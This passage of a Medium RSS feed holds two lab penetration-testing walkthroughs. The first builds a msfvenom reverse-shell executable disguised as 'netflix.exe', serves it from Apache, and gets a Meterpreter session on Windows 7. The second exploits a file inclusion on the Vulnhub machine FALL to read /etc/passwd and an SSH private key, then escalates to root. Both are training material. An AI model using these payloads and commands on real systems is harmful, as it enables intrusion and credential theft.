machine</figcaption></figure><p>Target IP — 192.168.1.36</p><p>Next action is to develop malware by msfvenom, so we are proceeding with next step exploitation.</p><p>Kindly make sure to turn off the firewall of Windows OS</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*X-VHm06zAq-Lg5yXb0SGew.png" /><figcaption>Screenshot from windows 7</figcaption></figure><p>We need to scan open ports on Target IP address i.e., 192.168.1.36 and to do this we will use nmap. We will use the command <strong>“nmap –sV –O –v –P –A 192.168.1.36”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*Tcf4SKP52Lv8QjrW8wKBsQ.png" /><figcaption>nmap o/p from kali machine</figcaption></figure><p>found two open ports 135 and 139 with nmap result. Nmap output and port 139 is open for netbios-ssn service.</p><p>Now we need to develop a malware with .exe executable extension for Windows OS to get root access of target machine.</p><p>We will use msfvenom tool in kali linux to develop the malware for Windows OS.</p><p>We will use the command “<strong>msfvenom -p windows/meterpreter/reverse_tcp LHOST= &lt;attacker IP address&gt; LPORT=&lt;any free port&gt; -f exe -o &lt;output file name&gt;”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*T56GVvKU7unjz07LpvX_-w.png" /><figcaption>msfvenom command</figcaption></figure><p>In our case I am using <strong>LHOST= 192.168.1.3, LPORT=4444</strong> and output file name <strong>= netflix.exe</strong></p><p><strong>Note= LHOST and LPORT information should be identical with options parameter we need to set later inside Metasploit tool, else malware will not work.</strong></p><p>So, we have created a malware now, next is to move this file to apache server directory i.e., var/www/html</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*GEtNSvkp2A06tfdg1ign6w.png" /></figure><p>Also, we need to perform two tasks on this file in first task we need to make it an executable file and to do it we will use chmod command</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/468/1*Fg8CqTbHm39BYv_oWMVwlg.png" /></figure><p>and second task is moving the executable file further inside a directory in the same path</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/501/1*wTM3NZNoNTO8NcTnBmldVg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*58jxaiuxK30X-KfPgiazzw.png" /></figure><p>now we have done all the task that were necessary for the malware to get executed properly. Next is we need to start apache server; we will use command “service apache2 start”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*hLFIG7yQc_cdhn67jTBBjw.png" /></figure><p>Now to run exploit we will first have to use Metasploit Framework i.e., already preinstalled on Kali Linux; to run Metasploit Framework on Kali we will need to give a command on Terminal as “<strong>msfconsole</strong>” to start its operation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*xh5SclnP7YRoFztKSrSFqQ.png" /></figure><p>“<strong>msf6</strong> <strong>&gt;</strong>” will be shown once Metasploit is started completely.</p><p>Now, firstly we need to define exploit that we will use in this task, we will use <strong>exploit/multi/handler</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/1*ykpXff-bwzjvUIhRyPpTBw.png" /></figure><p>now we have to set options parameter</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*QYY-_LHNKBg783rlhe1tXA.png" /></figure><p>and make sure that both option parameter is set exactly identical to the value mentioned while developing malware.</p><p>We will also set payload that we defined in msfvenom command i.e., “<strong>windows/meterpreter/reverse_tcp”.</strong></p><p>We are in the final step of penetration testing i.e., gaining access, in previous step we have prepared all the parameters that were required to run exploit successfully. Now next is to run exploit, hence use command “<strong>exploit</strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*qkH23BdoLLi--tSqVfiMSg.png" /></figure><p>After running this command, next we need to move focus on Windows 7 now, since we are experimenting and considering a scenario that victim or target has received a mail in which a url would be visible <a href="http://192.168.1.3/downloads/">http://192.168.1.3/downloads/</a> and if the target click on the link, target machine will request for connection with connected attacker’s apache server and our malware file (i.e. inside <strong>var/www/html/downloads</strong> directory) will be downloaded inside the Windows 7 system (Target Machine)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*1BSxzc4a69KQV85BNHTT6g.png" /></figure><p>now if the Target machine (Windows 7) run the downloaded file a reverse shell will be open with our system (attacker) and we will get root access of the Target Machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*9CrQ2u0dLYcSpST-RqedIg.png" /></figure><p>To verify root access, we ran some commands</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*FuxRfAXvFqf1AqQlTuBnvg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*cVasfU3oCeRHxdS2nhVqhw.png" /></figure><p>We have successfully obtained root access for Windows OS with a malware prepared by msfvenom and exploited by metasploit framework.</p><p>Thank you</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ddd5a1a8609f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[FALL- Vulnhub Machine]]></title>
            <link>https://medium.com/@prateeksunilsharma/fall-vulnhub-machine-0422c8636afe?source=rss-fb87c34b5260------2</link>
            <guid isPermaLink="false">https://medium.com/p/0422c8636afe</guid>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Prateek Sharma]]></dc:creator>
            <pubDate>Mon, 03 Jun 2024 11:12:02 GMT</pubDate>
            <atom:updated>2024-06-04T15:51:08.249Z</atom:updated>
            <content:encoded><![CDATA[<h3>FALL | Vulnhub Machine | Without Metasploit | Penetration Testing solution by Prateek Sharma</h3><p>Download machine from mentioned url — <a href="https://download.vulnhub.com/digitalworld/FALL.7z">https://download.vulnhub.com/digitalworld/FALL.7z</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DZYdeltT5EeYqO1jnhRsXw.png" /></figure><p>Open machine on VMware workstation and boot the machine along with kali i.e. mounted on VMware. One thing to note select network adaptor same for both machines like NAT for both, means we need to keep both in same network, in my case I have selected NAT for both machines.</p><p>After booting now check IP address of kali machine with command <strong>ip a or ifconfig, </strong>also for <strong>FALL </strong>machine IP address assigned by DHCP is visible on login screen</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*_0UQmI4ARcmK8XA90NrX9g.png" /><figcaption>Screenshot from FALL login screen</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*mw1SYJn6v5ePTpTgCgmPqQ.png" /><figcaption>Screenshot from kali machine</figcaption></figure><p>Both machines are on 192.168.222.0/24, 192.168.222.130 for target machine hence we can move ahead by using <strong>nmap, </strong>to scan ports will use command <strong>nmap -A 192.168.222.130</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xLZxvmY7EuONI94EFN0wnA.png" /></figure><p>We found many ports open but two useful ports are 22 and 80. Port 80 is open hence some web page should be present there. To find more information about directory we can use dirbuster or gobuster, I am using gobuster.</p><p>Using command <strong>gobuster dir -u </strong><a href="http://192.168.222.130/"><strong>http://192.168.222.130</strong></a><strong> -w /use/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php, .html, .txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QxIl-t35fS1nwKNwZ66YiQ.png" /></figure><p>we found /test.php as a useful file here but on running it on browser it showing “missing GET parameter”, next we need to fuzz it further to get more information, we will use <strong>ffuf</strong> tool for this, we will use command</p><p><strong>ffuf -c -w /usr/share/wordlists/dirb/common.txt -u ‘http://192.168.222.130/test.php?FUZZ=/etc/passwd’ -fs 80</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VIcmSNpKziX5wkAPjXRqQA.png" /></figure><p>We found <strong>file </strong>as GET replacement from FUZZ, hence we will use curl to get data from target, we will use command</p><p><strong>curl http://192.168.222.130/test.php?file=/etc/passwd</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ElVnWWoesxYHAz5Hq05-ig.png" /></figure><p>This gives use list of saved username and password location on target machine; from list we are able to find user qiu on /home directory.</p><p>From start we know port 22 is open on this machine hence we can find openssh key from target lets try command</p><p><strong>curl http://192.168.222.130/test.php?file=/home/qiu/.ssh/id_rsa</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uiJOxQmXDASKBpU6iSPqzw.png" /></figure><p>We found private key for target, save it in a file on attacker machine by command <strong>curl </strong><a href="http://192.168.222.130/test.php?file=/home/qiu/.ssh/id_rsa"><strong>http://192.168.222.130/test.php?file=/home/qiu/.ssh/id_rsa</strong></a><strong> &gt; id_rsa</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4CSKDCV6KFxGAEsEXMX7dQ.png" /></figure><p>remember to change permissions to 600 for key by command</p><p><strong>chmod 600 id_rsa</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1013/1*Ikkz_JSHzb9MdYiUNpiECg.png" /></figure><p>next step is to exploit, run ssh for qiu by command</p><p><strong>ssh -i id_rsa qiu@192.168.222.130</strong></p><p>we have logged in successfully!</p><p>from hidden files we found <strong>.bash_history </strong>and in bash history file we found password in a command with echo “remarkablyawesomE”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O7Txp7wCQdRpXMv5AiuSqg.png" /></figure><p>right now we have logged in as qiu, now let&#39;s try to login as root with password found from above echo command, using command <strong>sudo su</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*ad2sD3_i0HicCkZgaydduA.png" /></figure><p><strong>Now we are root user, as far as penetration testing is concerned we are done but get txt file we need to do something else.</strong></p><p>Next, we need to change directory to root with <strong>cd /root</strong> command, by ls command we were able to see 4 files 2 configuration files and 2 txt files, let’s check <strong>proof.txt, </strong>That’s it we are done<strong>.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*2CeYYxLEF3FhkIZoArC6Hw.png" /></figure><p>Thank you</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0422c8636afe" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>